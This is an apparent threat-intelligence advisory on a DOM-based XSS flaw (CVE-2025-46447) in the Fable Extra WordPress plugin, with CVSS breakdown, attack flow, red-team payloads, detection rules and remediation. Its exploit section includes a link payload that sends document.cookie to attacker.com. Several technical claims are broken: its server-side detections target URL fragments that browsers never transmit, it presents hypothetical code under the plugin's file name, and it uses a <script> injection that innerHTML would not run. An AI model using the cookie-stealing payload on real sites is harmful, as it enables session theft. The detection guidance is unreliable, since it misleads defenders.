CVE-2025-46447

Executive Summary

CVE-2025-46447 is a DOM-Based Cross-Site Scripting (XSS) vulnerability discovered in the WPFable Fable Extra WordPress plugin, version 1.0.6 and earlier. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute within the victim's browser context. As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem, not the underlying web server software. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the partial impact on confidentiality and integrity. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown, making this a high-priority monitoring target for defenders.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and potentially third-party marketplaces. Organizations using Fable Extra should immediately inventory their plugin versions and treat any instance of version 1.0.6 or earlier as potentially compromised. Since the plugin is part of the WordPress supply chain, a compromised plugin could lead to broader site compromise, including privilege escalation or data exfiltration.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a known patch and the potential for DOM-based attacks in a widely-used CMS ecosystem elevate the risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability resides in the fable-extra plugin's JavaScript handling of user-controlled input, likely via document.location, document.URL, or window.name properties. DOM-Based XSS occurs when client-side scripts write attacker-controlled data to the DOM without proper sanitization. In this case, the plugin likely processes URL fragments or query parameters and injects them into the page's HTML, allowing an attacker to execute arbitrary JavaScript.

Attack Flow:

1. Attacker crafts a malicious URL containing a JavaScript payload in a parameter or fragment (e.g., https://victim-site.com/?page=#<script>alert(1)</script>).
2. Victim clicks the link or is redirected to the crafted URL.
3. The plugin's JavaScript reads the malicious input from the DOM (e.g., location.hash).
4. The input is written to the DOM via innerHTML, document.write, or similar unsafe methods.
5. The browser executes the injected script in the context of the victim's session.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common DOM XSS patterns.

Vulnerable Code (JavaScript):

// fable-extra.js (v1.0.6)
var hash = window.location.hash.substring(1);
document.getElementById('fable-content').innerHTML = hash;

Patched Code (Hypothetical):

// fable-extra.js (patched)
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('fable-content').textContent = sanitized;

The patched version uses textContent instead of innerHTML and applies DOMPurify for defense-in-depth.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• WordPress instance with Fable Extra v1.0.6 installed and activated.
• Attacker machine with a browser and a simple HTTP server to host the exploit page.

Exploit Payload:

<!-- Exploit page to deliver the malicious link -->
<a href="http://victim-wp-site.com/#<img src=x onerror=alert(document.cookie)>">Click me</a>

When the victim clicks the link, the plugin's JavaScript reads the hash and injects it into the DOM, triggering the XSS.

Advanced Payload (Session Hijacking):

<a href="http://victim-wp-site.com/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">Click me</a>

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for requests containing suspicious patterns in the URL fragment (e.g., <script, onerror, javascript:).
2. Use browser-based CSP headers to mitigate XSS impact.
3. Deploy WAF rules to block known XSS payloads in URL fragments.

Honeypot Setup:

• Deploy a decoy WordPress instance with Fable Extra v1.0.6 and monitor for any exploitation attempts.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing #<script, #<img, #<svg, or #javascript: in the fragment.
• File Hashes (Plugin):
  • fable-extra.zip (v1.0.6): SHA256 UNKNOWN (no official hash available)
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• Log Entries: GET / HTTP/1.1 with a long fragment containing HTML/JS code.

Detection Engineering

YARA Rule

rule CVE_2025_46447_DOM_XSS {
    meta:
        description = "Detects potential DOM XSS payloads targeting Fable Extra plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-46447"
    strings:
        $payload1 = /#<script[^>]*>/
        $payload2 = /#<img[^>]+onerror/
        $payload3 = /#<svg[^>]+onload/
        $payload4 = /#javascript:/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-46447 DOM XSS in Fable Extra Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with XSS payloads in URL fragments targeting Fable Extra
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#javascript:'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with HTML-like content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46447 DOM XSS in Fable Extra"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-46447 DOM XSS in Fable Extra - img onerror"; content:"#<img"; http_uri; nocase; content:"onerror"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-46447 DOM XSS in Fable Extra - svg onload"; content:"#<svg"; http_uri; nocase; content:"onload"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script, onerror, or javascript: in URL fragments.
3. Add Content Security Policy (CSP) headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fix:

• Monitor the WPFable vendor for an official patch.
• If the plugin is custom-developed, apply input sanitization using DOMPurify or similar libraries.
• Upgrade to a patched version once released.

Workaround:

• Use a reverse proxy to strip or sanitize URL fragments before they reach the WordPress server.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst